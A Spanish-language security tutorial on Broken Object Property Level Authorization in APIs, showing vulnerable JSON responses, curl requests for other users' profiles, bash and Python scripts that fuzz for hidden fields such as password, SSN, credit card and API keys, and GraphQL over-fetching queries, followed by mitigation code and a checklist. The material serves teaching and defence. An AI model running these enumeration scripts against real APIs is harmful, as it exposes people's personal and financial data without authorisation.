Broken Object Property Level Authorization (BOPLA)
CWE: CWE-639
Problema: Acceso a propiedades/campos que no deberían ser visibles
¿Qué es BOPLA?
A diferencia de BOLA (acceder a objetos enteros), BOPLA permite acceder a propiedades específicas de un objeto que están ocultas para ciertos usuarios.
Ejemplo Simple
Usuario normal SHOULD ver: {id, nombre, email}
Usuario normal SHOULD NOT ver: {salary, ssn, credit_card, admin_flag}
Respuesta vulnerable:
{
"id": 100,
"nombre": "John",
"email": "john@email.com",
"salary": 50000, ← NO DEBERÍA VER
"ssn": "123-45-6789", ← NO DEBERÍA VER
"credit_card": "1234-5678-9012-3456", ← CRÍTICO
"admin": false ← INFO SENSIBLE
}Ejemplos de Explotación
Caso 1: Sistema Bancario - Saldo Oculto
bash
# GET /api/users/100/profile
# Respuesta normal (esperada):
{
"user_id": 100,
"name": "John Doe",
"email": "john@bank.com"
}
# Respuesta vulnerable (BOPLA):
{
"user_id": 100,
"name": "John Doe",
"email": "john@bank.com",
"account_balance": 50000, ← Exposición
"credit_limit": 100000, ← Exposición
"loan_amount": 25000 ← Exposición
}
# Explotar
curl "https://api.banco.com/api/users/200/profile" \
-H "Authorization: Bearer token_usuario_normal"
# Ver balances de otros usuariosCaso 2: E-commerce - Precio de Costo
bash
# GET /api/products/SKU-12345
# Esperado:
{
"sku": "SKU-12345",
"name": "Laptop",
"price": 999.99
}
# Vulnerable:
{
"sku": "SKU-12345",
"name": "Laptop",
"price": 999.99,
"cost": 450.00, ← Margen expuesto
"supplier": "Dell",
"revenue_estimate": 500000
}
# Impacto: Competencia ve márgenesCaso 3: Social Network - Datos Privados
bash
# GET /api/users/999/profile?fields=*
{
"user_id": 999,
"username": "jane_doe",
"bio": "Developer",
"followers": 5000,
"phone": "+1-555-0123", ← PII
"home_address": "123 Main St", ← PII
"date_of_birth": "1990-05-15", ← PII
"relationship_status": "married", ← Privado
"political_views": "...", ← Privado
"religious_beliefs": "...", ← Privado
"is_premium": true, ← Info sensible
"payment_method": "visa",
"last_4_digits": "1234" ← Tarjeta
}Técnicas de Enumeración
1. Fuzzing de Propiedades (Wordlist)
bash
#!/bin/bash
API="https://api.app.com"
USER_ID="100"
TOKEN="eyJhbGciOiJIUzI1NiIs..."
# Wordlist de propiedades comunes
properties=(
"id" "user_id" "username" "email" "phone"
"password" "hash" "salt"
"balance" "account_balance" "credit_limit"
"salary" "revenue" "cost"
"is_admin" "role" "permissions"
"ssn" "credit_card" "cvv"
"secret" "token" "api_key"
"internal_id" "db_id"
"created_at" "updated_at"
"is_active" "is_deleted"
)
for prop in "${properties[@]}"; do
response=$(curl -s "$API/api/users/$USER_ID?fields=$prop" \
-H "Authorization: Bearer $TOKEN")
# Si la propiedad existe, la respuesta será diferente
if echo "$response" | grep -q "$prop"; then
echo "[✓] Propiedad encontrada: $prop"
echo " Valor: $(echo $response | jq ".$prop")"
fi
done2. Parámetro fields Inseguro
bash
# API permite seleccionar campos
curl "https://api.app.com/api/users/100?fields=username,email,admin"
# Respuesta:
{
"username": "user",
"email": "user@example.com",
"admin": false ← Expuesto inadecuadamente
}
# Probar más campos
curl "https://api.app.com/api/users/100?fields=*"
curl "https://api.app.com/api/users/100?fields=**"
curl "https://api.app.com/api/users/100?fields=password,ssn,credit_card"3. GraphQL - Over-fetching
bash
# GraphQL query vulnerable
query {
user(id: 100) {
id
username
email
password # ← No debería permitir
ssn
credit_card {
number # ← CRÍTICO
cvv
expires
}
salary
admin_flag
}
}
# Enviar
curl -X POST "https://api.app.com/graphql" \
-H "Content-Type: application/json" \
-d '{
"query": "query { user(id: 100) { id username email password ssn } }"
}'4. Response Wrapping/Embedding
bash
# API retorna objeto dentro de otro
GET /api/users/100/full-profile
{
"data": {
"user": {
"public_info": {
"username": "john"
},
"private_info": { ← Accesible
"ssn": "123-45-6789",
"salary": 50000,
"medical_records": [...]
},
"admin_info": { ← Accesible
"is_moderator": false,
"created_by": "admin",
"last_activity": "..."
}
}
}
}Métodos de Explotación
Automatizar con Python
python
import requests
import json
def discover_hidden_fields(api_url, user_id, token):
"""
Descubrir campos ocultos mediante fuzzing
"""
# Propiedades comunes
common_fields = [
'password', 'hash', 'salt',
'ssn', 'credit_card', 'cvv',
'salary', 'revenue', 'cost',
'is_admin', 'is_moderator',
'api_key', 'secret', 'token',
'internal_id', 'db_id',
'is_deleted', 'last_login'
]
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
print(f"[*] Buscando campos ocultos en usuario {user_id}")
for field in common_fields:
try:
# Intento 1: Query parameter
response = requests.get(
f"{api_url}/api/users/{user_id}?fields={field}",
headers=headers,
timeout=5
)
if response.status_code == 200:
data = response.json()
if field in data or (isinstance(data, dict) and field in str(data)):
print(f"[✓] Campo encontrado: {field}")
print(f" Valor: {data}")
# Intento 2: POST con fields
response = requests.post(
f"{api_url}/api/users/{user_id}/get-profile",
json={"fields": [field]},
headers=headers,
timeout=5
)
if response.status_code == 200 and field in str(response.json()):
print(f"[✓] Campo encontrado (POST): {field}")
print(f" {response.json()}")
except Exception as e:
pass
# Usar
discover_hidden_fields(
"https://api.app.com",
100,
"eyJhbGciOiJIUzI1NiIs..."
)Burp Suite - Modificar Response
1. Capturar GET /api/users/100
2. Enviar a Repeater
3. Modificar respuesta en Time-based Request Editing:
- Agregar campos ocultos manualmente
- Ver si frontend acepta y procesa
4. Usar Extension ResponseAnalyzer:
- Comparar responses
- Detectar propiedades adicionalesMitigación
1. Whitelist de Campos
python
@app.route('/api/users/<user_id>')
def get_user(user_id):
current_user = verify_token(request.headers.get('Authorization'))
# Whitelist de campos permitidos
ALLOWED_FIELDS = {
'user': ['id', 'username', 'email', 'created_at'],
'admin': ['id', 'username', 'email', 'password_hash', 'is_admin', 'created_at']
}
user = User.query.get(user_id)
allowed = ALLOWED_FIELDS.get(current_user.role, [])
# Serializar solo campos permitidos
response = {k: v for k, v in user.to_dict().items() if k in allowed}
return jsonify(response)2. DTO (Data Transfer Object)
python
from marshmallow import Schema, fields
class UserPublicSchema(Schema):
"""Para usuarios normales"""
id = fields.Int()
username = fields.Str()
email = fields.Email()
created_at = fields.DateTime()
class UserAdminSchema(Schema):
"""Para administradores"""
id = fields.Int()
username = fields.Str()
email = fields.Email()
password_hash = fields.Str()
is_admin = fields.Bool()
created_at = fields.DateTime()
@app.route('/api/users/<user_id>')
def get_user(user_id):
current_user = verify_token(request.headers.get('Authorization'))
user = User.query.get(user_id)
schema = UserAdminSchema() if current_user.is_admin else UserPublicSchema()
return jsonify(schema.dump(user))3. GraphQL - Restricción de Campos
python
import graphene
class UserType(graphene.ObjectType):
id = graphene.ID()
username = graphene.String()
email = graphene.String()
# Campos restringidos
password_hash = graphene.String()
ssn = graphene.String()
salary = graphene.Float()
@staticmethod
def resolve_password_hash(obj, info):
# Solo admin
if not info.context.user.is_admin:
return None # O raise error
return obj.password_hash
class Query(graphene.ObjectType):
user = graphene.Field(UserType, id=graphene.ID())
def resolve_user(self, info, id):
# Verificar autorización
if not can_access_user(info.context.user, id):
raise Exception("Forbidden")
return User.objects.get(id=id)Checklist
- [ ] Revisar todas las respuestas de API para campos sensibles
- [ ] Implementar whitelist de campos por rol
- [ ] Usar DTOs/Schemas de serialización
- [ ] Deshabilitar parámetro
fieldso restringir - [ ] Auditar endpoints que retornan objetos embebidos
- [ ] Verificar GraphQL queries con permissionamiento
- [ ] Tests de seguridad: intentar acceder a campos prohibidos
- [ ] Logging de accesos a campos sensibles